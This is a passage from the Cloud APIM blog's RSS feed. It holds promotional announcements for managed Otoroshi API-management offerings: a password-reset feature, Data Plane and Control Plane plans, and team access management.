&lt;h3 id=&quot;reset-with-confidence&quot;&gt;&lt;strong&gt;Reset with Confidence&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;This feature is designed to give you peace of mind, knowing that you can securely reset your password anytime without any hassle or delay. It’s another step towards making our managed Otoroshi instances as user-friendly and secure as possible.&lt;/p&gt;
&lt;h3 id=&quot;about-cloud-apim&quot;&gt;About Cloud APIM&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt; provides &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;cutting-edge, managed solutions for API management&lt;/a&gt;, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;the most advanced tools&lt;/a&gt; and &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; to our customers, empowering them to achieve their digital transformation goals.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>en</dc:language><category>APIM</category><category>APIs</category><category>API management</category><category>Security</category><category>Passwords</category><category>Otoroshi</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.DKS6Dj61_ZyJpG9.jpg" length="0" type="image/jpeg"/></item><item><title>Announcing the new Data plane plan</title><link>https://blog.cloud-apim.com/announcing-the-new-data-plane-plan</link><guid isPermaLink="true">https://blog.cloud-apim.com/announcing-the-new-data-plane-plan</guid><description>Introduction As the digital landscape evolves, so do the demands on API management and traffic routing. To cater to these growing needs, Cloud APIM is excited to announce our latest offering: the Data Plane plan. This innovative plan is designed…</description><pubDate>Mon, 05 Jun 2023 22:00:00 GMT</pubDate><content:encoded>&lt;h3 id=&quot;introduction&quot;&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;As the digital landscape evolves, so do the demands on API management and traffic routing. To cater to these growing needs, Cloud APIM is excited to announce our latest offering: the Data Plane plan. This innovative plan is designed for businesses looking to optimize their API traffic routing through Cloud APIM, while maintaining their control plane on-premise or deployed with any cloud provider.&lt;/p&gt;
&lt;h3 id=&quot;the-essence-of-the-data-plane-plan&quot;&gt;&lt;strong&gt;The Essence of the Data Plane Plan&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;The Data Plane plan by Cloud APIM introduces a groundbreaking approach to API traffic management. It allows organizations to leverage our robust, scalable data plane clusters to route their traffic, ensuring high performance, reliability, and security, without the need to relocate their control plane from its current environment.&lt;/p&gt;
&lt;h3 id=&quot;key-advantages-of-the-data-plane-plan&quot;&gt;&lt;strong&gt;Key Advantages of the Data Plane Plan&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Flexibility in Control:&lt;/strong&gt; Keep your control plane where it suits you best—on-premise or with any cloud provider—while benefiting from Cloud APIM’s powerful data routing capabilities.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Enhanced Performance:&lt;/strong&gt; Our data plane clusters are engineered to handle high volumes of API traffic, delivering unparalleled performance and reducing latency.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Scalability:&lt;/strong&gt; As your API traffic grows, the Data Plane plan scales with you, offering seamless expansion capabilities without disrupting your existing control plane setup.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Security and Compliance:&lt;/strong&gt; With Cloud APIM’s Data Plane plan, enjoy advanced security features that protect your data in transit, complying with industry standards and regulations.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;why-choose-the-data-plane-plan&quot;&gt;&lt;strong&gt;Why Choose the Data Plane Plan?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;The Data Plane plan is tailor-made for organizations that want to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Maintain control over their API management settings and policies on-premise or with their chosen cloud provider.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Optimize their API traffic routing for improved performance and reliability.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ensure their data routing adheres to stringent security and compliance requirements.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;getting-started-with-the-data-plane-plan&quot;&gt;&lt;strong&gt;Getting Started with the Data Plane Plan&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Transitioning to the Data Plane plan is smooth and straightforward. Whether you’re an existing Cloud APIM customer looking to enhance your API routing capabilities or new to our platform and seeking a powerful data plane solution, our team is here to guide you every step of the way.&lt;/p&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;The introduction of the Data Plane plan represents Cloud APIM’s commitment to providing flexible, high-performance API management solutions. By separating the data plane and control plane, we offer our clients the best of both worlds: the ability to manage their APIs as they see fit, coupled with the assurance of optimized traffic routing through our state-of-the-art data plane clusters. Explore the Data Plane plan today and take the first step towards a more efficient and secure API ecosystem.&lt;/p&gt;
&lt;h3 id=&quot;about-cloud-apim&quot;&gt;About Cloud APIM&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt; provides &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;cutting-edge, managed solutions for API management&lt;/a&gt;, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;the most advanced tools&lt;/a&gt; and &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; to our customers, empowering them to achieve their digital transformation goals.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>en</dc:language><category>APIM</category><category>APIs</category><category>Otoroshi</category><category>Control plane</category><category>Hybrid cloud</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.Dz3BJaP-_1pIKwk.jpg" length="0" type="image/jpeg"/></item><item><title>Announcing the new Control Plane plan</title><link>https://blog.cloud-apim.com/announcing-the-new-control-plane-plan</link><guid isPermaLink="true">https://blog.cloud-apim.com/announcing-the-new-control-plane-plan</guid><description>Introduction In a world where flexibility and control over API management are paramount, Cloud APIM is proud to unveil our latest innovation: the Control Plane plan. This new offering is tailor-made for businesses seeking a centralized management…</description><pubDate>Tue, 09 May 2023 22:00:00 GMT</pubDate><content:encoded>&lt;h3 id=&quot;introduction&quot;&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;In a world where flexibility and control over API management are paramount, Cloud APIM is proud to unveil our latest innovation: the Control Plane plan. This new offering is tailor-made for businesses seeking a centralized management solution for their Otoroshi instances, with the freedom to deploy multiple data plane clusters across various environments – be it on-premise or with other cloud providers.&lt;/p&gt;
&lt;h3 id=&quot;the-control-plane-plan-a-gateway-to-streamlined-api-management&quot;&gt;&lt;strong&gt;The Control Plane Plan: A Gateway to Streamlined API Management&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;The Control Plane plan is designed to serve as the nerve center for your API management ecosystem. It provides a unified management entrypoint for all your Otoroshi entities, such as routes and API keys, simplifying the complexities of managing APIs across diverse environments.&lt;/p&gt;
&lt;h3 id=&quot;key-features-of-the-control-plane-plan&quot;&gt;&lt;strong&gt;Key Features of the Control Plane Plan&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Centralized Management:&lt;/strong&gt; Manage all your Otoroshi entities from a single, intuitive dashboard, regardless of where your data planes are deployed.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Flexibility in Deployment:&lt;/strong&gt; Whether your data plane clusters are on-premise or spread across different cloud providers, the Control Plane plan seamlessly integrates them into one cohesive system.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Enhanced Security and Control:&lt;/strong&gt; With centralized management, you gain better oversight and control over your APIs, enhancing security and compliance across your organization.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Scalability:&lt;/strong&gt; As your business grows, the Control Plane plan grows with you, easily accommodating additional data plane clusters without compromising performance or management efficiency.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;why-choose-the-control-plane-plan&quot;&gt;&lt;strong&gt;Why Choose the Control Plane Plan?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;In today’s dynamic digital landscape, businesses require solutions that offer both flexibility and control. The Control Plane plan is specifically designed to meet these needs, providing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;A single point of management for all your Otoroshi entities, reducing complexity and saving valuable time.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The ability to maintain data sovereignty by deploying data plane clusters in preferred locations, while still benefiting from centralized control.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Scalability and agility to adapt to changing business needs, without being locked into a specific infrastructure.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;getting-started-with-the-control-plane-plan&quot;&gt;&lt;strong&gt;Getting Started with the Control Plane Plan&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Embracing the Control Plane plan is straightforward. Existing Cloud APIM customers can easily upgrade to this plan through their dashboard. New customers are invited to join us and discover how the Control Plane plan can transform their API management strategy.&lt;/p&gt;
&lt;h3 id=&quot;conclusion&quot;&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;The launch of the Control Plane plan marks a significant milestone in Cloud APIM’s commitment to providing innovative, customer-centric solutions. By offering unparalleled flexibility, control, and ease of management, we empower our customers to harness the full potential of their API ecosystems. Explore the Control Plane plan today and take the first step towards a more streamlined and secure API management future.&lt;/p&gt;
&lt;h3 id=&quot;about-cloud-apim&quot;&gt;About Cloud APIM&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt; provides &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;cutting-edge, managed solutions for API management&lt;/a&gt;, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;the most advanced tools&lt;/a&gt; and &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; to our customers, empowering them to achieve their digital transformation goals.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>en</dc:language><category>APIM</category><category>APIs</category><category>Otoroshi</category><category>Control plane</category><category>API management</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.DxteBzfa_ZCMsnK.jpg" length="0" type="image/jpeg"/></item><item><title>Announcing Cloud APIM Teams</title><link>https://blog.cloud-apim.com/announcing-cloud-apim-teams</link><guid isPermaLink="true">https://blog.cloud-apim.com/announcing-cloud-apim-teams</guid><description>Introduction In today&apos;s collaborative work environment, the ability to seamlessly manage technology assets with your team is more crucial than ever. Cloud APIM is excited to announce a significant update to our managed Otoroshi instances: the…</description><pubDate>Mon, 03 Apr 2023 22:00:00 GMT</pubDate><content:encoded>&lt;h3 id=&quot;introduction&quot;&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;In today’s collaborative work environment, the ability to seamlessly manage technology assets with your team is more crucial than ever. Cloud APIM is excited to announce a significant update to our managed Otoroshi instances: the launch of Team Management. This new feature is designed to enhance collaboration and streamline the administration of corporate shared instances, making it easier for teams to work together effectively.&lt;/p&gt;
&lt;h3 id=&quot;what-is-team-management&quot;&gt;&lt;strong&gt;What is Team Management?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Team Management is a powerful new feature that allows account holders to invite coworkers to administrate or view their managed Otoroshi instances. With this update, Cloud APIM users gain the flexibility to control access and permissions, ensuring the right people have the right level of access at the right time.&lt;/p&gt;
&lt;h3 id=&quot;key-features-and-benefits&quot;&gt;&lt;strong&gt;Key Features and Benefits&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Invite to Manage or View:&lt;/strong&gt; You can now invite team members to either manage instances with full administrative rights or view instances for oversight and reporting purposes. This granular control ensures that team members only have access to the functionalities they need.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Dynamic Team Adjustments:&lt;/strong&gt; Add or remove team members at any moment, allowing your team structure to adapt as your project evolves. This flexibility is crucial for keeping your managed instances secure while accommodating changes in team composition or roles.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Simplified Collaboration:&lt;/strong&gt; By enabling team-based management, Cloud APIM makes it easier for teams to collaborate on API management tasks, share responsibilities, and ensure continuity in administration.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;how-to-get-started&quot;&gt;&lt;strong&gt;How to Get Started&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Getting started with Team Management is straightforward:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Access Your Dashboard:&lt;/strong&gt; Log in to your Cloud APIM dashboard and navigate to your managed Otoroshi instance settings. Here you can set the teams that can work on this instance.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Manage Your Team:&lt;/strong&gt; Go to the &lt;a href=&quot;https://console.cloud-apim.com/teams&quot;&gt;‘Team Management’ section&lt;/a&gt; where you can invite new members, set their access levels, and manage existing team members.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Invite Team Members:&lt;/strong&gt; Enter the email addresses of the coworkers you wish to invite as an administrator or a watcher. They’ll receive an invitation to join your team.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;empower-your-team-today&quot;&gt;&lt;strong&gt;Empower Your Team Today&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;With the introduction of Team Management, Cloud APIM continues our commitment to providing the tools and features that our customers need to succeed. By facilitating better teamwork and flexibility in managing managed Otoroshi instances, we’re helping businesses achieve their API management goals more efficiently and securely.&lt;/p&gt;
&lt;p&gt;We’re excited to see how our users will leverage this new feature to enhance collaboration and streamline the administration of their corporate shared instances. Get started today and take the first step towards more collaborative and efficient team management.&lt;/p&gt;
&lt;h3 id=&quot;about-cloud-apim&quot;&gt;About Cloud APIM&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/&quot;&gt;Cloud APIM&lt;/a&gt; provides &lt;a href=&quot;https://console.cloud-apim.com/deployments&quot;&gt;cutting-edge, managed solutions for API management&lt;/a&gt;, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer &lt;a href=&quot;https://console.cloud-apim.com/serverless/projects&quot;&gt;the most advanced tools&lt;/a&gt; and &lt;a href=&quot;https://console.cloud-apim.com/wasmo_deployments&quot;&gt;services&lt;/a&gt; to our customers, empowering them to achieve their digital transformation goals.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>en</dc:language><category>APIM</category><category>APIs</category><category>API management</category><category>Otoroshi</category><category>Team</category><category>Collaboration</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.DrV9Xpc3_1KfLHo.jpg" length="0" type="image/jpeg"/></item></channel></rss>